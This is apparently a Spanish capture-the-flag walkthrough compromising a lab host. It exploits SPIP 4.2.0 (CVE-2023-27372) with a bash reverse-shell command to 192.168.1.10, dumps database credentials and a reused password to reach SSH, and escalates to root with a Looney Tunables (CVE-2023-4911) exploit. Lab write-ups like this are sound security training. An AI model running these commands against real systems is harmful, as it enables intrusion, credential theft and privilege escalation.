Enumeración de servicios
Comenzamos escaneando los puertos de manera general y específica:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.20
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-26 19:20 -03
Nmap scan report for 192.168.1.20
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c0:f6:a1:6a:53:72:be:8d:c2:34:11:e7:e4:9c:94:75 (ECDSA)
|_ 256 32:1c:f5:df:16:c7:c1:99:2c:d6:26:93:5a:43:57:59 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-generator: SPIP 4.2.0
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Mi sitio SPIP
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.43 secondsEnumeramos con gobuster:
❯ gobuster dir -u 192.168.1.20 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php (Status: 200) [Size: 7519]
/local (Status: 200) [Size: 1935]
/vendor (Status: 200) [Size: 1754]
/config (Status: 200) [Size: 1755]
/tmp (Status: 200) [Size: 2783]
/LICENSE (Status: 200) [Size: 35147]
/IMG (Status: 200) [Size: 933]
/spip.php (Status: 200) [Size: 7518]
/htaccess.txt (Status: 200) [Size: 4307]
/ecrire (Status: 200) [Size: 13442]
/prive (Status: 200) [Size: 6382]
...Explotación de SPIP
Con whatweb confirmamos la versión del CMS:
❯ whatweb http://192.168.1.20
http://192.168.1.20 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[192.168.1.20], JQuery, MetaGenerator[SPIP 4.2.0], SPIP[4.2.0][http://192.168.1.20/local/config.txt], Script[text/javascript], Title[Mi sitio SPIP], UncommonHeaders[composed-by,x-spip-cache]SPIP 4.2.0 es vulnerable a SPIP Unauthenticated RCE (CVE-2023-27372). El fallo permite que una petición no autenticada alcance una ruta de deserialización insegura y termine ejecutando código PHP controlado. Ejecutamos el exploit para obtener una shell:
❯ python3 51536.py -u http://192.168.1.20 -c 'bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"'La identificación precisa de la versión es importante antes de usar un exploit público. Tanto la etiqueta generator observada por Nmap como whatweb apuntan a SPIP 4.2.0, lo que reduce el riesgo de aplicar una prueba destinada a otra rama del CMS. La opción -c envía una orden que el servidor procesa y la conexión recibida en nuestro listener demuestra ejecución remota con la identidad del servicio web.
Movimiento lateral a angela
Ya con la shell, procedemos a la escalada. Encontramos pkexec con bit SUID, potencialmente vulnerable a PwnKit (CVE-2021-4034), pero optamos por otra vía. En /var/www hay un .bash_history que apunta a connect.php, con las credenciales de la base de datos:
...
spip_connect_db('localhost','','root','dbpassword','spip','mysql', 'spip','','');
...Nos conectamos a MySQL y volcamos la tabla de autores, obteniendo una contraseña del usuario angela:
www-data@pipy:/var/www$ mysql -u root -p
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| spip |
| sys |
+--------------------+
MariaDB [(none)]> use spip
MariaDB [spip]> show tables;
+-------------------------+
| Tables_in_spip |
+-------------------------+
| ... |
| spip_auteurs |
| ... |
+-------------------------+
MariaDB [spip]> select * from spip_auteurs;
...
Angela:angela@pipy.htb:4ng3l4
admin:admin@pipy.htb:$2y$10$.GR/i2bwnVInUmzdzSi10u66AKUUWGGDBNnA7IuIeZBZVtFMqTsZ2
...El usuario root de MariaDB pertenece al motor de base de datos y no implica acceso como root del sistema operativo. Su utilidad es permitir consultar spip_auteurs. En esa tabla, la contraseña en texto claro asociada a Angela se reutiliza en SSH, lo que convierte una exposición de la aplicación en acceso interactivo al host.
Nos conectamos por SSH como angela y obtenemos la primera flag:
❯ ssh angela@192.168.1.20
angela@192.168.1.20's password:
angela@pipy:~$Escalada de privilegios
Para escalar a root, comprobamos si el sistema es vulnerable a Looney Tunables, identificada como CVE-2023-4911:
angela@pipy:/tmp$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)El segfault indica que la entrada alcanza una ruta problemática del cargador dinámico y es compatible con un sistema afectado, pero no basta por sí solo para demostrar una escalada explotable. Lo tomamos como señal para continuar con una prueba controlada del exploit. Clonamos el repositorio en la víctima:
angela@pipy:/tmp$ git clone https://github.com/hadrian3689/looney-tunables-CVE-2023-4911.gitGeneramos la librería maliciosa, compilamos y ejecutamos:
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ python3 libc.pyangela@pipy:/tmp/looney-tunables-CVE-2023-4911$ gcc exp.c -o exp
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ ./explibc.py prepara los artefactos que el exploit necesita para la versión local de glibc y gcc compila el lanzador. La explotación depende de condiciones de memoria y del entorno, por lo que puede requerir varios intentos. La evidencia definitiva no es el fallo anterior, sino que ./exp termina creando una shell con UID 0.
El exploit abusa del procesamiento de GLIBC_TUNABLES antes de que el cargador dinámico termine de preparar un programa SUID. Por eso la vulnerabilidad necesita acceso local previo y un binario SUID utilizable: no convierte la RCE de SPIP directamente en root, sino que eleva la shell de angela dentro del mismo host.
Capturamos la bandera final.
Fin.